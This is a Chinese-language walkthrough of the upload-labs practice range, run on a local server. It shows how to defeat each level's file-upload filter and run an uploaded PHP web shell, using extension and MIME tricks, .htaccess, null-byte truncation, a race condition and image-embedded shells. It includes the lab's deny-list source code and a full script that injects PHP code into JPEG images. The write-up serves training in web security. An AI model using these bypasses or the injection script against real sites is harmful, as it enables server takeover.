目录
简单说明
Pass-01
法一
法二
Pass-02
Pass-03(本题涉及php3的解析,出现的问题)
解决方法
回到正题:
Pass-04
Pass-05 ,Pass-10
Pass-06
Pass-07
Pass-08
Pass-09
Pass-11
Pass-12
Pass-13
Pass-14
Pass-15
Pass-16
Pass-17
Pass-18
Pass-19
Pass-20
Pass-21
总结
顾名思义,文件上传就是利用服务器对上传文件时存在的漏洞来实现上传任意文件,通过自己编写的文件内容让服务器执行文件内容达到可控的目的,但文件的上传往往回有各种各样的过滤,以下将演示upload-labs的关卡:
上传图片
正常来说是上传一个php文件来让服务器解析执行
但上传php文件
只能以这几种格式上传
可以通过抓包后修改文件尾缀来让服务器解析执行
抓包后修改为22.php再放行即可
放行访问一下
成功!
因为本题过滤在前端源码,所以可以尝试下载源码修改再自行访问
下载源代码文本打开
删掉过滤的函数
因为源码里没有指定文件上传的路径所以要自行添加
可见上传的路径为
http://127.0.0.1/upload-labs-master/Pass-01/index.php
将路径写成
action="http://127.0.0.1/upload-labs-master/Pass-01/index.php" 自行添加到下图所示处
上传成功访问
成功
另外因为这题是前端扫描,所以还有一种就是关闭浏览器的js
第二关看源码得知是对文件的类型进行了限制
可以进行抓包,然后对文件的类型修改即可
将此处修改成允许的文件类型(这里是image/png)放行
上传并访问成功!
原因在于搭建upload-labs时用的apache版本问题,确切的说是phpstudy版本问题
因为在phpstudy8.1的版本里没有apache5.2的版本,全是apache TNS的版本,这些版本不能解析php3,php5等文件
解决方法
所以需要下载phpstudy 2018版本
下载好后再到apache的配置文件
httpd.conf
在该文件内寻找到如下
修改(或添加)为:
AddType application/x-httpd-php .php .phtml .php3 .php5 .php1
保存并重启phpstudy即可解决问题
余下就正常在这个版本的phpstudy上搭建upload-labs就可以正常答题了
回到正题:
第三关有黑名单禁止了部分文件类型
但过滤不严可以使用别的与php有相同效果的文件尾缀来代替
这里可以使用
php3 php5 phtml等等
直接上传一个php3的文件
上传成功!
过滤了好多的尾缀
就很难再用相同的尾缀绕过了
这里使用配置文件来让上传文件的内容当成php执行
创一个.htaccess文件内容为:
SetHandler application/x-httpd-php
这里表示用FileMatch来匹配文件,如果匹配到一个"22.png"的文件就将该文件的内容当成php文件执行
注意:配置文件.htaccess不能有文件名,如果有就不能解析改配置文件的内容了
上传配置文件后再上传一个"22.png"的shell文件并访问
如果还是不成功就到phpstudy 2018的配置文件中找到
这题连.htaccess也过滤掉了
这里看源代码
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
各函数功能:
可以看到这里是先删除文件最后的一个逗号和空格然后再寻找处后的文件名的最后一个逗号,再对该逗号后面(就是文件扩展名)进行变小写再去除::$DATA字符串
做了这样的处理但只处理一次所以可以通过抓包来修改文件名来实现绕过
依据上面的处理在.php后多加.%20.(%20是空格)目的是在删除一个逗号和一个空格后让匹配到php后面的逗号使其不能处理php
放行并访问
对比前面的源码少大小写检验
改成大小不一的php文件,要注意不能是黑名单上的如pHp不行
放包访问图片并在hackbar上post一个参数
a=phpinfo;
观察源码发现在处理尾缀的时候少过滤了空格于是可以抓爆修改文件尾缀
加一个空格,在最后与黑名单比对时就不会匹配上从而实现绕过
最后放包访问
与上一题差不多,只是少了过滤最后的一点
抓包修改为php.
放包访问
对比上一题少了对特殊字符::$DATA的过滤
还是抓包修改文件尾缀
在尾缀后面添加::$DATA
放包,访问
注意访问的是
upload/202305041341535938.php
而不是
upload/202305041341535938.php::$data
本题核心在于
$file_name = str_ireplace($deny_ext,"", $file_name);
该函数
本函数会对需查找的函数进行多次替换,按理来说是不能用双写绕过的
但本题替换的内容是没有的,所以可以双写绕过
因为没有了对尾缀的处理所以直接上传shell.pphphp 访问
明显是白名单绕过
这里意思是对上传的文件进行比对不属于白名单内的直接上传失败但主要是
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
中的
$_GET['save_path']
是可控的,于是抓包修改路径
%00是用于阻断,当读取文件上传路径的时候遇到%00当成结束符,相当于是上传了22.php
本题对比上一题是post传参
post传参不会自动解码,所以要手动解码
在此处写上22.php%00然后对%00选中右键对%00进行URL解码
放包,访问22.php
白名单是文件头,所以要使用图片马来实现绕过
这里的图片马不是单纯的将txt改jpg,这样是得不到jpg的文件头的,因此需要用图片和php文件进行合成成图片马
合成方法:
首先是先创建一个文件夹,里面放一个张图片和一句话php(建议不要直接放在桌面)
在该文件内打开终端输入
copy aa.gif/b + bb.php shell.gif
但会出现
Copy-Item : 找不到接受实际参数“bb.php”的位置形式参数。
原因在于一些powershell与cmd的命令不同
需要通过cmd/c调用cmd.exe中的copy即可
cmd /c 'copy aa.gif/b + bb.php shell.gif'
后面直接上传图片马,复制图片链接
点击进入看到存在文件包含
输入:
?file=upload/7520230504125003.jpg
但输入后出现
Warning: Unexpected character in input:
这是apache版本低于5.3导致的
到phpstudy 2018中更改版本即可
$info = getimagesize($filename);
getimagesize()函数将测定任何GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM或WBMP图像文件的大小并返回图像的尺寸以及文件类型和一个可以用于普通HTML文件中标记中的 height/width 文本字符串
大概意思就是利用检测文件头来判断上传的文件是不是图像文件
同样是利用上传图片马和文件包含漏洞
exif_imagetype()函数:读取一个图像的第一个字节并检查其签名,如果发现恰当的签名返回一个对应的常量,否则返回false。
一样都是检查文件头,同样的方法,这里可参考Pass-14解法
要注意的是:
需开启php_exif模块,到phpstudy中的配置文件---php.ini
去除着两行前面的分号,并让extension=php_mbstring.dll在extension=php_exif.dll的上方使其先加载,再去除[exif]段下面的全部分号
之后重启phpstudy就行了
后面上传步骤参考Pass-14
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
$filename = $_FILES['upload_file']['name'];
$filetype = $_FILES['upload_file']['type'];
$tmpname = $_FILES['upload_file']['tmp_name'];
$target_path=UPLOAD_PATH.'/'.basename($filename);
// 获得上传文件的扩展名
$fileext= substr(strrchr($filename,"."),1);
//判断文件后缀与类型,合法才进行上传操作
if(($fileext == "jpg") && ($filetype=="image/jpeg")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromjpeg($target_path);
if($im == false){
$msg = "该文件不是jpg格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".jpg";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagejpeg($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "png") && ($filetype=="image/png")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefrompng($target_path);
if($im == false){
$msg = "该文件不是png格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".png";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagepng($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else if(($fileext == "gif") && ($filetype=="image/gif")){
if(move_uploaded_file($tmpname,$target_path)){
//使用上传的图片生成新的图片
$im = imagecreatefromgif($target_path);
if($im == false){
$msg = "该文件不是gif格式的图片!";
@unlink($target_path);
}else{
//给新图片指定文件名
srand(time());
$newfilename = strval(rand()).".gif";
//显示二次渲染后的图片(使用用户上传图片生成的新图片)
$img_path = UPLOAD_PATH.'/'.$newfilename;
imagegif($im,$img_path);
@unlink($target_path);
$is_upload = true;
}
} else {
$msg = "上传出错!";
}
}else{
$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
}
}
分析代码得知:
imagecreatefromgif()这个函数---从 GIF 文件或 URL 新建一图像
先看gif是二次渲染,会对上传的gif进行重新渲染生成一个新的giff并重名名,最后再上传新的gif到服务器
先看看正常操作把图片马上传,成功但访问后不会被执行
将图片下载下来,发现我们写的一句话没了
放到16进制编辑器里做对比
这里用010中的工具--对比文件
经过无数次尝试,大概在这个区域(还有00比较多的哪个区域)替换成一句话语句上传并访问是成功的,有些地方在渲染后会被篡改
到png的修改
这里使用国外大佬写的脚本:
脚本写在这里面,在该www目录下的终端运行
得到图片1.png
上传后访问
get和post传参上去都无反应,鄙人才浅有懂的师傅可以留言
jpg
还是使用国外脚本
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = "=phpinfo();?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php ');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
这里是在phpstudy的WWW目录下运行脚本
首先向服务器上传一张jpg,将渲染过后的jpg下载到WWW目录中
这里用的php版本尽量高,不然运行不了
生成的图片上传服务器,并访问
注意这里的apache的版本用5.4是不行的,用5.2才可以
本关是先是对上传的文件放到临时文件中并对其扩展名进行检查,若符合就对文件重命名并上传,若不符合则删除文件
这种情况因为会对文件进行临时存储才检查,我们就可以在储存后但未进行检查的时候访问该文件,让文件内容执行就可以实现任意文件执行,要抓准时机很难但可以用抓包来模拟10000人尝试就有可能实现。
首先写一个在访问到瞬间就执行让一句话马写入服务器的php
fputs ($a,'');
?>
在访问时执行:创建一个test.php的文件并往里面写指定内容
上传该文件并抓包
将抓到的包发往intruder攻击器
再到服务器抓取一个访问该文件的数据包并发往攻击器
对上传的数据包添加一个攻击位置
对访问数据包也设置一个
两个包都把payload类型设为数值并为1到10000,线程数改成20左右
可以发现访问数据包中出现200回显,并出现warning画面,说明已经成功访问到了webshell.php
还可以到目录先查看文件
发现上传成功了,之后就是直接访问test.php即可
本关文件上传的路径出现了问题需要对本关的文件修改一下
到Pass-19目录找到myupload.php
按下图修改
回到正题:
本题代码很长需要慢慢分析
require_once("./myupload.php");
这个是一次性包含,在当前文件引入myupload.php
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
将文件名,临时路径,大小等参数传入到myupload方法中
class MyUpload{
......
......
......
var $cls_arr_ext_accepted = array(
".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
".html", ".xml", ".tiff", ".jpeg", ".png" );
......
......
......
/** upload()
**
** Method to upload the file.
** This is the only method to call outside the class.
** @para String name of directory we upload to
** @returns void
**/
function upload( $dir ){
$ret = $this->isUploadedFile();//是否为上传文件
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkExtension();//检查文件扩展名
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkSize();//检查文件大小
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// if flag to check if the file exists is set to 1
if( $this->cls_file_exists == 1 ){
$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, we are ready to move the file to destination
$ret = $this->move();//移动文件
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// check if we need to rename the file
if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();//重命名
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, everything worked as planned :)
return $this->resultUpload( "SUCCESS" );
}
myupload方法对传入的参数进行的检查
可发现先是对文件后缀进行检查再上传临时文件最后才重命名
既然出现先上传再命名就可以使用条件竞争来实现绕过,至于前面对文文件的尾缀检查因为没有可控路径,所以只能利用apache特性的解析漏洞。
apache解析特性:
一个是可执行文件.htaccess
另一个是apache解析文件尾缀不是从左到右的而是从右到左,且读取过程中遇到无法识别的尾缀则会跳过读取下一个尾缀,若是所有后缀都读取完了,此时就会把该文件当做默认类型进行处理了,一般来说,默认类型是text/plain。
详细的apache特性可以参考这位博主的博客
(1条消息) 文件解析漏洞总结-Apache_apache2.4.7漏洞_Werneror的博客-CSDN博客
所以我们需要上传的一句话文件尾缀最后是白名单上有但apache又无法识别的
白名单有rar和7z两个尾缀是apache无法识别的
所以上传以这两个为末尾的尾缀文件并抓包
这里使用rar上传并抓包,之后就与18关一样的操作了
因为本关代码很长,所以时间间隔大成功率很高
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = $_POST['save_name'];//可控
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);//获取扩展名
if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];//临时路径
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
法一:
分析首先看到的是可控路径,所以抓包用%00截断
法二:
这里利用move_uploaded_file()函数的一个特性
当指定路径末尾是/.会被忽略掉
如:a.php/.在解析路径时与a.php一样
因为本题是先对扩展名检查再调用move_uploaded_file(),所以可以在此之前利用/.来绕过黑名单
上传成功并访问
分析代码:
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查上传文件的MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];//输入文件名
if (!is_array($file)) {//判断文件是否为数组
$file = explode('.', strtolower($file));
}
$ext = end($file);//取数组最后元素
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {//数组最后元素对比白名单
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];//拼接文件名
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;//拼接文件路径
if (move_uploaded_file($temp_file, $img_path)) {//对比文件路径
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
reset($file) //将数组指针重新指到第一个
count($file) //计算数组元素的个数,若某一元素为空则不算个数
前面对上传的文件进行MIME判断,用图片马绕过
在对文件名进行检查前对文件名进行是否为数组的判断,很明显我们输入的是字符串哪为什么还要进行判断呢?在判断不是后就对文件名进行拆分并分别放入数组元素中,对数组最后元素(正常就是对文件扩展名)进行白名单判断。
很明显拆分阻止了我们使用阻断的方式绕过白名单,哪我们输入的就不能被拆分所以就要使得判断的时候是数组
上传一个图片马并抓包
(1) 如图修改将上传的字符串改成数组,这样检测的时候就绕过拆分
(2)再白名单检查的时候是取数组最后元素,最后元素的是png所以通过测试
(3)到计算数组的个数时因为第二元素为空不计为个数,所以count()返回个数为2
$file_name = reset($file) . '.' . $file[count($file) - 1];
2-1=1,所以就相当于是在22.php后面加多一个 .
windows在文件上传的时候路径最后的点会被剔除,故而上传的是22.php
放包并访问
参考:
IIS6.0容器之解析漏洞复现_iis解析漏洞复现_Louisnie的博客-CSDN博客
Nginx中的解析漏洞整理_nginx错误解析漏洞的正确解析方式_「已注销」的博客-CSDN博客
文件解析漏洞总结-Apache_apache2.4.7漏洞_Werneror的博客-CSDN博客